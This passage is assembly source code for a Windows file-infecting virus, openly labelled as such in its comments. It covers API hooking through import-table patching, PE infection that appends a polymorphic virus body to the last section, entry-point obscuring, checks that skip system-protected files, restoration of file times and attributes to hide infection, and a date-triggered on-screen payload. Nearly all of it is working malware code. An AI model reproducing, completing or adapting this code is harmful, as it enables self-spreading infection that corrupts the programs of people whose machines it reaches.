eax,[esi+08h] adc eax,[esi+0Ch] adc eax,[esi+10h] adc eax,[esi+14h] adc eax,[esi+18h] adc eax,[esi+1Ch] adc eax,[esi+20h] adc eax,[esi+24h] adc eax,[esi+28h] adc eax,[esi+2Ch] adc eax,[esi+30h] adc eax,[esi+34h] adc eax,[esi+38h] adc eax,[esi+3Ch] adc eax,00h add esi,40h sub ecx,40h je PartialCheck@2 PartialCheck@6: ; Iteration 6 add eax,[esi] adc eax,[esi+04h] adc eax,[esi+08h] adc eax,[esi+0Ch] adc eax,[esi+10h] adc eax,[esi+14h] adc eax,[esi+18h] adc eax,[esi+1Ch] adc eax,[esi+20h] adc eax,[esi+24h] adc eax,[esi+28h] adc eax,[esi+2Ch] adc eax,[esi+30h] adc eax,[esi+34h] adc eax,[esi+38h] adc eax,[esi+3Ch] adc eax,[esi+40h] adc eax,[esi+44h] adc eax,[esi+48h] adc eax,[esi+4Ch] adc eax,[esi+50h] adc eax,[esi+54h] adc eax,[esi+58h] adc eax,[esi+5Ch] adc eax,[esi+60h] adc eax,[esi+64h] adc eax,[esi+68h] adc eax,[esi+6Ch] adc eax,[esi+70h] adc eax,[esi+74h] adc eax,[esi+78h] adc eax,[esi+7Ch] adc eax,00h add esi,80h sub ecx,80h jne PartialCheck@6 PartialCheck@2: test edx,edx je PartialCheck@0 PartialCheck@7: ; Iteration 7 movzx ecx,word ptr[esi] add eax,ecx adc eax,00h add esi,02h sub edx,02h jne PartialCheck@7 PartialCheck@0: mov edx,eax shr edx,10h and eax,0000FFFFh add eax,edx mov edx,eax shr edx,10h add eax,edx ; Make a final logic and and eax,0000FFFFh ; Get the partial check sum pop esi ; Pop registers ret PartialCheckSum endp ;################################################################# ;# Get Delta ;# In: No Input ;# Out: ebp=DeltaOffset ;################################################################# GetDelta proc cld call GetDelta@1 ; Just a strange get delta function GetDelta@2: mov esi,esp ; Let's look in Stack the return address lodsd jmp GetDelta@3 GetDelta@1: xor eax,eax jz GetDelta@2 GetDelta@3: sub eax,offset GetDelta@2 mov ebp,eax ; We have the delta offset in ebp add esp,04h ret GetDelta endp ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Virus Payload ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Payload ;# In: No Input ;# Out: No Output ;################################################################# Payload proc lea eax,[@SystemTime+ebp] push eax ; Get the actual date call [@GetSystemTime+ebp] or eax,eax jz Pay@1 cmp word ptr[@SystemTime.wDay+ebp],1Fh jnz Pay@1 lea edi,[@User32N+ebp] ; If 31th let's rock! lea esi,[@User32+ebp] ; Loading some graphic apis call LoadNewLibrary or eax,eax jz Pay@1 call RunPayload ; And launch the graphic payload lea edi,[@User32N+ebp] call FreeNewLibrary ; Be smart and free the library Pay@1: ret Payload endp ;################################################################# ;# Run Payload ;# In: No Input ;# Out: No Output ;################################################################# RunPayload proc xor ebx,ebx ; First get the resolution of screen push SM_CXSCREEN ; Get the X width call [@GetSystemMetrics+ebp] or eax,eax jz RunPay@1 shr eax,01h ; We want the center coords mov [@Xcoord+ebp],eax ; Get the Y width push SM_CYSCREEN call [@GetSystemMetrics+ebp] or eax,eax jz RunPay@1 shr eax,01h mov [@Ycoord+ebp],eax push ebx ; Handle of the Main Desktop window call [@GetDC+ebp] or eax,eax jz RunPay@1 mov [@DeviceCtx+ebp],eax push IDI_WARNING push ebx call [@LoadIconA+ebp] ; Loading a Warning Icon or eax,eax jz RunPay@2 mov [@HandleIcon+ebp],eax call DrawBioHazard ; Well... ready for paint!!! RunPay@2: mov eax,[@DeviceCtx+ebp] push eax ; Release the Main Desktop window push ebx call [@ReleaseDC+ebp] RunPay@1: ret RunPayload endp ;################################################################# ;# Draw Icon ;# In: esi=Xcoord edi=Ycoord ;# Out: (eax not zero) Error: eax=00h ;################################################################# DrawIcon proc push [@HandleIcon+ebp] ; Handle of warning Icon push edi ; Y coord push esi ; X coord push [@DeviceCtx+ebp] ; Device context (Main window) call [@DrawIcon+ebp] ; Draw an Icon ret DrawIcon endp ;################################################################# ;# Draw Bio Hazard ;# In: No Input ;# Out: No Output ;################################################################# DrawBioHazard proc push ebx mov esi,[@Xcoord+ebp] ; Save the center coords mov edi,[@Ycoord+ebp] mov ebx,0168h ; Start with 360º DrawBio@1: push esi edi mov [@Degrees+ebp],ebx fldpi fimul dword ptr[@Degrees+ebp] fidiv dword ptr[@Const+ebp] fcos fimul dword ptr[@Radius+ebp] frndint fistp dword ptr[@Result+ebp] add esi,[@Result+ebp] ; Get Radius * cos (Angle) fldpi fimul dword ptr[@Degrees+ebp] fidiv dword ptr[@Const+ebp] fsin fimul dword ptr[@Radius+ebp] frndint fistp dword ptr[@Result+ebp] sub edi,[@Result+ebp] ; Get Radius * sin (Angle) call DrawIcon ; And paint please sub edi,70h ; We want four circles... cmp ebx,3Ch ; painting at the same time jb DrawOk@1 cmp ebx,78h ja DrawOk@1 jmp DrawBio@2 DrawOk@1: call DrawIcon ; Skip some parts and tachan!!! DrawBio@2: sub esi,61h ; We'll have a nice BioHazard picture add edi,0A8h cmp ebx,0B4h jb DrawOk@2 cmp ebx,0F0h ja DrawOk@2 jmp DrawBio@3 DrawOk@2: call DrawIcon ; And again the same DrawBio@3: add esi,0C2h cmp ebx,012Ch jb DrawOk@3 cmp ebx,0168h ja DrawOk@3 jmp DrawBio@4 DrawOk@3: call DrawIcon DrawBio@4: pop edi esi dec ebx ; Well, another degree less jnz DrawBio@1 ; Go on with the painting push MB_ICONHAND call [@MessageBeep+ebp] ; Just play a Beep sound... tic, tac pop ebx ret DrawBioHazard endp ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Virus Per-Process Residency ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Set All Hooks ;# In: esi->ApisCrc32Struct edi->OffsetsHooksStruct ;# Out: (eax not zero) Error: eax=00h ;################################################################# SetAllHooks proc push edi esi mov ebx,[@ImageBase+ebp] mov esi,ebx ; Take the Base Addr of Process add esi,[ebx+3Ch] ; Go to the PE header add esi,80h ; And after... to the Import Table lodsd or eax,eax ; Check if we have Import Table jz SetAll@1 add eax,ebx mov ecx,eax SetAll@2: mov esi,[ecx+0Ch] ; Looking for Kernel32 import module or esi,esi jz SetAll@1 add esi,ebx lodsd or eax,20202020h ; Make LowCase the string cmp eax,'nrek' jnz SetAll@3 lodsd or eax,20202020h cmp eax,'23le' jz SetAll@4 ; We've the correct module, great! SetAll@3: add ecx,14h ; Ups!... give me another one jmp SetAll@2 SetAll@4: mov esi,[ecx+10h] ; Go to FirstChunkData or esi,esi ; If null go out jz SetAll@1 add esi,ebx ; Set some register for a big double loop mov ecx,esi pop edi pop ebx SetAll@9: cmp byte ptr[edi],0EEh ; The last api to hook? jz SetAll@5 ; If last go out mov edx,[edi+04h] ; Load the api address SetAll@8: lodsd ; Load an address for Import Table or eax,eax ; If last go back jz SetAll@6 cmp edx,eax ; It's equal? yep... fine jnz SetAll@8 push ecx call [@GetCurrentProcess+ebp] xor ecx,ecx sub esi,04h ; Writing what we want in Import Table push ecx push 04h mov ecx,[ebx] add ecx,ebp mov [@Result+ebp],ecx ; Just set the hooker function mov ecx,esi lea esi,[@Result+ebp] push esi push ecx push eax call [@WriteProcessMemory+ebp] pop ecx SetAll@6: add edi,08h ; Go on with more Apis to hook add ebx,04h mov esi,ecx jmp SetAll@9 SetAll@5: xor eax,eax ; Fine... we have no errors inc eax ret SetAll@1: xor eax,eax ; Ups... Sth gone wrong pop esi edi ret SetAllHooks endp ;################################################################# ;# Generic Hooks ;# In: No Input ;# Out: No Output ;################################################################# ;################################################################# ;# Hook for CreateFileA ;################################################################# HookCreateFileA proc pushad ; Save registes pushfd call GetDelta ; Get the correct Delta mov esi,[esp+28h] call HookNewPath ; Looking for a new path and Find Files mov eax,[@CreateFileA+ebp] lea edi,[@HookJumpA+ebp] ; Set the next jump to the hooked api stosd popfd ; Pop registers popad push 20202020h @HookJumpA equ $-4 ret HookCreateFileA endp ;################################################################# ;# Hook for MoveFileA ;################################################################# HookMoveFileA proc pushad ; Save registes pushfd call GetDelta ; Get the correct Delta mov esi,[esp+28h] call HookNewPath ; Looking for a new path and Find Files mov eax,[@MoveFileA+ebp] lea edi,[@HookJumpB+ebp] ; Set the next jump to the hooked api stosd popfd ; Pop registers popad push 20202020h @HookJumpB equ $-4 ret HookMoveFileA endp ;################################################################# ;# Hook for CopyFileA ;################################################################# HookCopyFileA proc pushad ; Save registes pushfd call GetDelta ; Get the correct Delta mov esi,[esp+28h] call HookNewPath ; Looking for a new path and Find Files mov eax,[@CopyFileA+ebp] lea edi,[@HookJumpC+ebp] ; Set the next jump to the hooked api stosd popfd ; Pop registers popad push 20202020h @HookJumpC equ $-4 ret HookCopyFileA endp ;################################################################# ;# Hook for CreateProcessA ;################################################################# HookCreateProcessA proc pushad ; Save registes pushfd call GetDelta ; Get the correct Delta mov esi,[esp+28h] call HookNewPath ; Looking for a new path and Find Files mov eax,[@CreateProcessA+ebp] lea edi,[@HookJumpD+ebp] ; Set the next jump to the hooked api stosd popfd ; Pop registers popad push 20202020h @HookJumpD equ $-4 ret HookCreateProcessA endp ;################################################################# ;# Hook for SetFileAttributesA ;################################################################# HookSetFileAttributesA proc pushad ; Save registes pushfd call GetDelta ; Get the correct Delta mov esi,[esp+28h] call HookNewPath ; Looking for a new path and Find Files mov eax,[@SetFileAttributesA+ebp] lea edi,[@HookJumpE+ebp] ; Set the next jump to the hooked api stosd popfd ; Pop registers popad push 20202020h @HookJumpE equ $-4 ret HookSetFileAttributesA endp ;################################################################# ;# Hook for GetFileAttributesA ;################################################################# HookGetFileAttributesA proc pushad ; Save registes pushfd call GetDelta ; Get the correct Delta mov esi,[esp+28h] call HookNewPath ; Looking for a new path and Find Files mov eax,[@GetFileAttributesA+ebp] lea edi,[@HookJumpF+ebp] ; Set the next jump to the hooked api stosd popfd ; Pop registers popad push 20202020h @HookJumpF equ $-4 ret HookGetFileAttributesA endp ;################################################################# ;# Hook for SearchPathA ;################################################################# HookSearchPathA proc pushad ; Save registes pushfd call GetDelta ; Get the correct Delta mov esi,[esp+28h] call HookNewPath ; Looking for a new path and Find Files mov eax,[@SearchPathA+ebp] lea edi,[@HookJumpG+ebp] ; Set the next jump to the hooked api stosd popfd ; Pop registers popad push 20202020h @HookJumpG equ $-4 ret HookSearchPathA endp ;################################################################# ;# Hook New Path ;# In: esi->StringWithPath ;# Out: (eax not zero) Error: eax=00h ;################################################################# HookNewPath proc call GetPath ; Just give a new path or eax,eax ; If not correct path... skip it jz HookNew@1 lea esi,[@PathOne+ebp] push esi ; Get the actual Dir push MAX_PATH call [@GetCurrentDirectoryA+ebp] or eax,eax jz HookNew@1 lea esi,[@PathTwo+ebp] ; Change to the new path push esi call [@SetCurrentDirectoryA+ebp] or eax,eax jz HookNew@1 call LoadSfcLibrary ; Check if Sfc is present and load it mov edi,05h call FindDirectory ; And find more new files mov eax,[@SfcIsFileProtected+ebp] or eax,eax jz HookNew@2 lea edi,[@SfcN+ebp] ; Free the Sfc library call FreeNewLibrary HookNew@2: lea esi,[@PathOne+ebp] ; Well, time to come back to the old dir push esi call [@SetCurrentDirectoryA+ebp] HookNew@1: ret HookNewPath endp ;################################################################# ;# Get Path ;# In: esi->StringWithPath ;# Out: (eax not zero) Error: eax=00h ;################################################################# GetPath proc or esi,esi ; Check the null pointer jz GetPath@2 mov edi,esi ; Get the String long call GetStringLong mov ecx,eax lea edi,[@PathTwo+ebp] push eax ; Set some registers and copy push edi ; the new path string to a buffer cld rep movsb pop edi pop ecx add edi,ecx GetPath@1: dec edi ; Looking for a \ in String dec eax jz GetPath@2 cmp byte ptr[edi],'\' jnz GetPath@1 mov ax,'\' ; If found patch it with final zero stosw ret ; Finish without error GetPath@2: xor eax,eax ; Oh... :( an error ret GetPath endp ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Virus Core Functions ;################################################################# ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ;################################################################# ;# Create Clean Copy ;# In: No Input ;# Out: (eax not zero) Error: eax=00h ;################################################################# CreateCleanCopy proc push edi esi edx ; Save register push @VirusBodySize push GPTR call [@GlobalAlloc+ebp] ; Get some memory free space or eax,eax jz CreateClean@1 mov [@VirusBuffer+ebp],eax mov edi,eax lea esi,[@VirusBodyBegin+ebp] mov ecx,@VirusBodySize cld rep movsb ; Move our virus body to memory reserved xor eax,eax inc eax CreateClean@1: pop edx esi edi ; If not memory skip it now! ret CreateCleanCopy endp ;################################################################# ;# Delete Clean Copy ;# In: No Input ;# Out: (eax zero) Error: eax not zero ;################################################################# DeleteCleanCopy proc push [@VirusBuffer+ebp] ; Just free the allocated memory call [@GlobalFree+ebp] ret DeleteCleanCopy endp ;################################################################# ;# Infect File ;# In: @FindData @FileHandle ;# Out: eax=01h Error: eax=00h ;################################################################# InfectFile proc push ebx edi mov eax,[@FindData.WFD_nFileSizeLow+ebp] add eax,@VirusSize mov ecx,[@AlignFactor+ebp] call Align ; Get the new host size mov ecx,75h call Align ; And add a size padding mov [@NewHostSize+ebp],eax ; Save the final aligned size mov edi,eax mov eax,[@OpenHandle+ebp] xor esi,esi call FileMapping ; Make a map of file or eax,eax jz Infect@1 mov [@MapHandle+ebp],eax call MapViewOfFile ; And map it into memory or eax,eax jz Infect@2 mov [@FileAddr+ebp],eax call DoInfectStuff ; Time to infect file or eax,eax jz Infect@3 ; If error, trunc file and go out mov eax,[@FileAddr+ebp] call UnmapViewOfFile ; Unmap file from memory mov eax,[@MapHandle+ebp] call CloseHandle ; Close map mov ebx,[@NewHostSize+ebp] call TruncFile ; Trunc file to the new size lea eax,[@FindData.WFD_ftLastWriteTime+ebp] push eax sub eax,08h ; Recover the old file time push eax sub eax,08h push eax push [@OpenHandle+ebp] call [@SetFileTime+ebp] mov eax,[@OpenHandle+ebp] ; Close file call CloseHandle mov eax,[@FindData.WFD_dwFileAttributes+ebp] push eax ; Recover the old file attributes lea esi,[@FindData.WFD_szFileName+ebp] push esi call [@SetFileAttributesA+ebp] xor eax,eax inc eax ; Fine! we have infected one file pop edi ebx ret Infect@3: mov eax,[@FileAddr+ebp] ; Ups! error... be smart and unmap file call UnmapViewOfFile Infect@2: mov eax,[@MapHandle+ebp] ; Close map of file call CloseHandle mov ebx,[@NewHostSize+ebp] call TruncFile ; Trunc file to the old file size Infect@1: lea eax,[@FindData.WFD_ftLastWriteTime+ebp] push eax sub eax,08h push eax ; Set file time sub eax,08h push eax push [@OpenHandle+ebp] call [@SetFileTime+ebp] mov eax,[@OpenHandle+ebp] ; Close file handle call CloseHandle mov eax,[@FindData.WFD_dwFileAttributes+ebp] push eax ; Recover the old file attributes lea esi,[@FindData.WFD_szFileName+ebp] push esi call [@SetFileAttributesA+ebp] xor eax,eax ; Error... try again pop edi ebx ret InfectFile endp ;################################################################# ;# Patch Virus Entry Point ;# In: No Input ;# Out: No Output ;################################################################# PatchVirusEntryPoint proc lea edi,[@ReturnHost+ebp] ; Let's change virus entry point mov eax,[@DefaultVirusBegin+ebp] stosd mov edi,eax mov ebx,[@CallType+ebp] or ebx,ebx jz PatchVirus@1 mov eax,0FFh ; If masm call insert "inc [esp]" stosb mov eax,2404h stosw PatchVirus@1: mov eax,25FFh ; Insert jmp [@offset api] stosw mov eax,[@EpoCall+ebp] stosd ret PatchVirusEntryPoint endp ;################################################################# ;# Do Epo Stuff ;# In: ebx=@FileAddr ;# Out: eax=01h Error: eax=00h ;################################################################# DoEpoStuff proc pushad call SetEpoSeh mov esp,[esp+08h] jmp ResetEpoSeh ; Set Seh in Epo process SetEpoSeh: ; cos we need handle page faults xor eax,eax push dword ptr fs:[eax] mov fs:[eax],esp mov esi,[ebx+3Ch] mov edi,ebx ; Save the FileAddr in ebx add edi,esi mov esi,edi add esi,78h ; Go to the image section headers mov eax,[edi+74h] shl eax,03h add esi,eax movzx ecx,word ptr[edi+06h] ; Take the number of sections mov edx,[edi+28h] ; Take the entry point of host DoEpo@1: mov eax,[esi+0Ch] cmp edx,eax jc DoEpo@2 add eax,[esi+08h] ; Iteratate till we have the code cmp edx,eax ; section (using the entry point) jc DoEpo@3 DoEpo@2: add esi,28h ; Try with other section loop DoEpo@1 jmp ResetEpoSeh ; No code section... ups! go out DoEpo@3: sub edx,[esi+0Ch] mov ecx,[esi+10h] sub ecx,edx ; Set in ecx a counter of bytes jc ResetEpoSeh add edx,[esi+14h] add edx,ebx ; Make edx point to the code section push esi mov esi,edx xor eax,eax mov [@PatchOffset+ebp],eax ; Make offset zero at start DoEpo@4: lodsw cmp ax,15FFh ; Is a Masm generated call? jz CheckMasm cmp al,0E8h ; Is a Tasm generated call? jz CheckTasm dec esi loop DoEpo@4 ; Go on and check it all till the end jmp DoEpoError@1 ; No calls found...error CheckMasm: lodsd ; Take the offset next to call call IsImportTable ; and check if points to the Imports or eax,eax jnz PatchMasm ; Great!... patch it now sub esi,05h jmp DoEpo@4 ; Nop, go on CheckTasm: dec esi lodsd ; Take the relative next to call push esi add esi,eax call IsCodeSection ; Is in code section? or eax,eax jz CheckTasmError lodsw cmp ax,25FFh ; Is a jump? jz PatchTasm ; Fine!... go and patch it CheckTasmError: pop esi sub esi,04h jmp DoEpo@4 ; Nop, try again PatchMasm: mov [@OldEpoCall+ebp],eax ; Save the offset of call sub esi,06h mov [@PatchOffset+ebp],esi xor eax,eax inc eax mov [@OldCallType+ebp],eax call GetRandom test eax,01h ; Get a random number and jz MakePatch ; randomize the patch offset inc esi jmp DoEpo@4 PatchTasm: lodsd mov [@OldEpoCall+ebp],eax ; Save the offset of call pop esi sub esi,05h mov [@PatchOffset+ebp],esi xor eax,eax mov [@OldCallType+ebp],eax call GetRandom ; Get a random number and test eax,01h ; randomize the patch offset jz MakePatch inc esi jmp DoEpo@4 MakePatch: call PatchCodeSection ; Patch the instruction with a call to virus pop esi xor eax,eax pop dword ptr fs:[eax] ; Reset the Epo Seh pop eax popad xor eax,eax inc eax ret ; Bye!!! DoEpoError@1: mov esi,[@PatchOffset+ebp] ; Check if we have found an offset or esi,esi jnz MakePatch ; Yep... go and patch it! pop esi ; Ups... error, pop registers and skip ResetEpoSeh: xor eax,eax pop dword ptr fs:[eax] ; Reset the Epo Seh... we made a page fault pop eax popad xor eax,eax ret DoEpoStuff endp ;################################################################# ;# Is Code Section ;# In: esi->File Section ;# Out: eax=01h Error: eax=00h ;################################################################# IsCodeSection proc push edi ecx mov edi,[esp+10h] ; Look in stack for section pointer mov ecx,[edi+14h] add ecx,ebx cmp esi,ecx ; Check if esi is inside code section jc IsCode@1 add ecx,[edi+10h] cmp esi,ecx jnc IsCode@1 xor eax,eax ; Ok, no problem... go on inc eax pop ecx edi ret IsCode@1: xor eax,eax ; Agh... try again pop ecx edi ret IsCodeSection endp ;################################################################# ;# Is Import Table ;# In: eax=offset in File ;# Out: (eax not zero) Error: eax=00h ;################################################################# IsImportTable proc pushad ; Save registers mov edi,ebx mov edx,eax add edi,[ebx+3Ch] ; Go to PE header mov esi,edi add esi,78h mov eax,[edi+74h] shl eax,03h add esi,eax ; Go to the section headers movzx ecx,word ptr[edi+06h] sub edx,[edi+34h] ; Make rva address push edx mov edx,[edi+80h] ; Get the imports rva or edx,edx jz IsImport@4 IsImport@1: mov eax,[esi+0Ch] ; Loop till get the import section cmp edx,eax jc IsImport@2 add eax,[esi+08h] cmp edx,eax jc IsImport@3 IsImport@2: add esi,28h ; Try with other section header loop IsImport@1 jmp IsImport@4 ; No more sections? ups... IsImport@3: pop edx cmp edx,eax ; Look if our rva points inside jnc IsImport@5 ; the import section sub eax,[esi+08h] cmp edx,eax jc IsImport@5 sub edx,[esi+0Ch] add edx,[esi+14h] ; Make rva->raw to import section add edx,ebx mov ecx,[edx] mov eax,[esi+0Ch] ; Check that the new rva points inside imports cmp ecx,eax jc IsImport@6 add eax,[esi+08h] cmp ecx,eax jc IsImport@7 IsImport@6: mov eax,[@KernelBase+ebp] cmp ecx,eax ; Check if points inside the kernel jc IsImport@5 mov edx,[eax+3Ch] add edx,eax add eax,[edx+50h] cmp ecx,eax jnc IsImport@5 IsImport@7: popad ; Yep! we got it ret IsImport@4: pop edx IsImport@5: popad xor eax,eax ; Sth gone wrong... bad luck ret IsImportTable endp ;################################################################# ;# Check Kernel Imports ;# In: edi->PEHeader ebx->@FileAddr ;# Out: eax=01h Error: eax=00h ;################################################################# CheckKernelImports proc mov esi,edi ; Go to the sections header mov eax,[edi+74h] shl eax,03h add esi,78h add esi,eax movzx ecx,word ptr[edi+06h] ; Take the number of sections mov edx,[edi+80h] ; Look for import section (with rva) or edx,edx jz CheckKernel@1 CheckKernel@2: mov eax,[esi+0Ch] cmp edx,eax jc CheckKernel@3 ; Go on, and try with the next section add eax,[esi+08h] cmp edx,eax jc CheckKernel@4 ; Is the Import section, go on CheckKernel@3: add esi,28h ; Try with the next one loop CheckKernel@2 jmp CheckKernel@1 ; No more sections... error CheckKernel@4: sub edx,[esi+0Ch] add edx,[esi+14h] add edx,ebx ; Make rva->raw of import section CheckKernel@5: mov eax,[edx+0Ch] ; Take the rva of import api name or eax,eax ; Is the last one... agh! jz CheckKernel@1 mov ecx,[esi+0Ch] cmp eax,ecx jc CheckKernel@6 add ecx,[esi+08h] ; Check the rva points inside the imports cmp eax,ecx jnc CheckKernel@6 sub eax,[esi+0Ch] add eax,[esi+14h] ; Make rva->raw of import section add eax,ebx mov ecx,[eax] ; Take the name and check it's Kernel32 or ecx,20202020h cmp ecx,'nrek' jnz CheckKernel@6 mov ecx,[eax+04h] or ecx,20202020h cmp ecx,'23le' jz CheckKernel@7 ; Well... all under control CheckKernel@6: add edx,14h jmp CheckKernel@5 ; Nop... try another selector CheckKernel@7: xor eax,eax inc eax ; The file has kernel imports ret CheckKernel@1: xor eax,eax ; The file has not kernel imports ret CheckKernelImports endp ;################################################################# ;# Patch Code Section ;# In: esi=offset to Patch ;# Out: No Output ;################################################################# PatchCodeSection proc mov edi,esi mov eax,0E8h stosb ; Insert a call in code section mov esi,[esp+04h] mov ecx,[@OldDftVirusBegin+ebp] mov edx,edi sub edx,ebx sub edx,[esi+14h] ; Make it points to virus body add edx,[esi+0Ch] add edx,[@OldImageBase+ebp] ; We use a relative call sub ecx,edx sub ecx,04h mov eax,ecx stosd ; Patch it now! ret PatchCodeSection endp ;################################################################# ;# Do Infect Stuff ;# In: eax->@FileAddr ;# Out: eax=01h Error: eax=00h ;################################################################# DoInfectStuff proc push eax mov edi,eax add edi,[eax+3Ch] ; Go to the Portable Exe header mov ebx,eax call CheckKernelImports ; Check we have kernel imports or eax,eax jz DoInfectStuff@7 mov esi,edi add esi,78h ; Jump the Optional header mov eax,[edi+74h] shl eax,03h add esi,eax ; And the directory entry movzx ecx,word ptr[edi+06h] ; Get the number of sections xor edx,edx mov ebx,esi DoInfectStuff@2: mov eax,[esi+14h] cmp edx,eax ; Looking for the last section ja DoInfectStuff@1 mov edx,eax mov ebx,esi DoInfectStuff@1: add esi,28h ; Nop, go to the next one loop DoInfectStuff@2 mov esi,ebx mov eax,[edi+34h] ; Save the host image base mov [@OldImageBase+ebp],eax mov ebx,[esi+10h] mov eax,[esi+24h] and eax,10000000h ; Check if the section is Shareable jnz DoInfectStuff@7 mov eax,[@AlignFactor+ebp] shl eax,01h mov ecx,[@FindData.WFD_nFileSizeLow+ebp] sub ecx,eax mov eax,edx ; Check if the File have overloads add eax,ebx cmp eax,ecx jc DoInfectStuff@7 ; Humm... an Instalation kit may be add edx,ebx ; skip this kind of file add ebx,[esi+0Ch] ; Calculate the virus default entry point add ebx,[@OldImageBase+ebp] ; and save it (the EP without relocations) mov [@OldDftVirusBegin+ebp],ebx call CreateCleanCopy ; Create a clean copy of virus body or eax,eax jz DoInfectStuff@7 pop ebx ; Pop the File Address push ebx call DoEpoStuff ; Make some Epo cheking / patching etc... or eax,eax jz DoInfectStuff@8 ; Error... host not valid push esi edi mov edi,[@VirusBuffer+ebp] add edi,@DeltaCritical ; Set some critical vars of new virus mov eax,[@OldImageBase+ebp] stosd mov eax,[@OldDftVirusBegin+ebp] stosd mov eax,[@OldEpoCall+ebp] stosd ; Finish! mov eax,[@OldCallType+ebp] stosd mov edi,ebx add edi,edx ; edi points to last section, to insert our virus mov eax,9C60h ; Patch in new virus place some pushad/pushfd stosw mov esi,[@VirusBuffer+ebp] ; New virus clean copy mov ecx,@VirusBodySize ; Virus Body Size ;) push ebp mov ebp,[@OldDftVirusBegin+ebp] inc ebp ; Offset (rva+image base) of new virus copy inc ebp call poly pop ebp inc ecx inc ecx mov [@NewVirusSize+ebp],ecx call DeleteCleanCopy ; Free all allocated memory pop edi esi mov eax,[esi+10h] add eax,[@NewVirusSize+ebp] mov ecx,[@AlignFactor+ebp] call Align mov [esi+10h],eax ; Change the SizeOfRawData mov [esi+08h],eax ; and the VirtualSize add eax,[esi+0Ch] mov [edi+50h],eax ; Update the ImageSize or [esi+24h],0E0000020h ; Make section write/read/code/executable mov ebx,[esi+0Ch] mov ecx,[edi+74h] xchg esi,edi add esi,78h DoInfectStuff@3: lodsd cmp eax,ebx ; Make some changes in directory struct jnz DoInfectStuff@4 ; now the last section has diferent size mov eax,[edi+10h] mov [esi],eax jmp DoInfectStuff@5 DoInfectStuff@4: lodsd loop DoInfectStuff@3 DoInfectStuff@5: mov eax,[@FindData.WFD_nFileSizeLow+ebp] add eax,[@NewVirusSize+ebp] mov ecx,[@AlignFactor+ebp] call Align mov ecx,75h ; Calculate the new size of host call Align mov ecx,eax mov [@NewHostSize+ebp],eax pop esi mov edi,esi add edi,[esi+3Ch] mov eax,[edi+58h] or eax,eax ; Check if the file have a valid CheckSum jz DoInfectStuff@6 ; If not go out call CheckSumMappedFile ; If yes... recalculate a new one mov [edi+58h],eax DoInfectStuff@6: xor eax,eax ; No problem, file infected! inc eax ret DoInfectStuff@8: call DeleteCleanCopy ; Free all allocated memory DoInfectStuff@7: mov eax,[@FindData.WFD_nFileSizeLow+ebp] mov ecx,71h call Align ; Make different size padding with infected fails mov ecx,eax mov [@NewHostSize+ebp],eax pop esi mov edi,esi add edi,[esi+3Ch] mov eax,[edi+58h] or eax,eax ; Check if the file have a valid CheckSum jz DoInfectStuff@9 call CheckSumMappedFile ; If yes... recalculate a new one mov [edi+58h],eax DoInfectStuff@9: xor eax,eax ; Ups... may be the next one ret DoInfectStuff endp ;################################################################# ;# Is File Ok ;# In: @FindData @FileHandle ;# Out: eax=01h Error: eax=00h ;################################################################# IsFileOk proc push ebx edi lea esi,[@FindData.WFD_szFileName+ebp] call CheckSfc ; Check if Sfc is present or eax,eax ; If yes take care of protected files jz IsFile@1 push esi call [@GetFileAttributesA+ebp] inc eax jz IsFile@1 ; Get the file attributes dec eax mov [@FindData.WFD_dwFileAttributes+ebp],eax push FILE_ATTRIBUTE_NORMAL ; And change them to normal attributes push esi call [@SetFileAttributesA+ebp] or eax,eax jz IsFile@1 call CreateFile ; Create File with read write access inc eax jz IsFile@2 dec eax mov [@OpenHandle+ebp],eax ; Save the open handle xor ebx,ebx push ebx push eax call [@GetFileSize+ebp] ; Get the size of file inc eax jz IsFile@3 dec eax mov [@FindData.WFD_nFileSizeLow+ebp],eax cmp eax,4000h jb IsFile@3 ; Avoid little programs cmp eax,03E80000h ; and huge also ja IsFile@3 push eax mov ecx,75h ; Using size padding we look xor edx,edx ; if the file had been infected div ecx pop eax or edx,edx jz IsFile@3 mov ecx,71h ; Using size padding we look xor edx,edx ; if the file had been fail infected div ecx or edx,edx jz IsFile@3 lea eax,[@FindData.WFD_ftLastWriteTime+ebp] push eax sub eax,08h ; Take the file time and save it push eax ; for later use sub eax,08h push eax push [@OpenHandle+ebp] call [@GetFileTime+ebp] or eax,eax jz IsFile@3 mov eax,[@OpenHandle+ebp] mov edi,[@FindData.WFD_nFileSizeLow+ebp] xor esi,esi call FileMapping ; Create a Map of File or eax,eax jz IsFile@4 mov [@MapHandle+ebp],eax ; Save map handle call MapViewOfFile ; And mapping it into memory or eax,eax jz IsFile@5 mov [@FileAddr+ebp],eax ; Save the mapped file address call DoCheckStuff ; Let's look into file for check or eax,eax jz IsFile@6 mov eax,[@FileAddr+ebp] ; File ok? go and unmap it... call UnmapViewOfFile mov eax,[@MapHandle+ebp] call CloseHandle ; Close handle and set eax xor eax,eax ; The infection process will go on inc eax pop edi ebx ret IsFile@6: mov eax,[@FileAddr+ebp] ; Unmapping the file call UnmapViewOfFile IsFile@5: mov eax,[@MapHandle+ebp] ; Closing the handle call CloseHandle IsFile@4: lea eax,[@FindData.WFD_ftLastWriteTime+ebp] push eax sub eax,08h ; Restore the initial file time push eax sub eax,08h push eax push [@OpenHandle+ebp] call [@SetFileTime+ebp] IsFile@3: mov eax,[@OpenHandle+ebp] call CloseHandle ; Close the file create handle IsFile@2: mov eax,[@FindData.WFD_dwFileAttributes+ebp] push eax ; Restore the initial file attributes lea esi,[@FindData.WFD_szFileName+ebp] push esi call [@SetFileAttributesA+ebp] IsFile@1: xor eax,eax ; eax=NULL file not valid pop edi ebx ret IsFileOk endp ;################################################################# ;# Do Check Stuff ;# In: eax->@FileAddr ;# Out: eax=01h Error: eax=00h ;################################################################# DoCheckStuff proc mov edi,eax mov ax,[edi] cmp 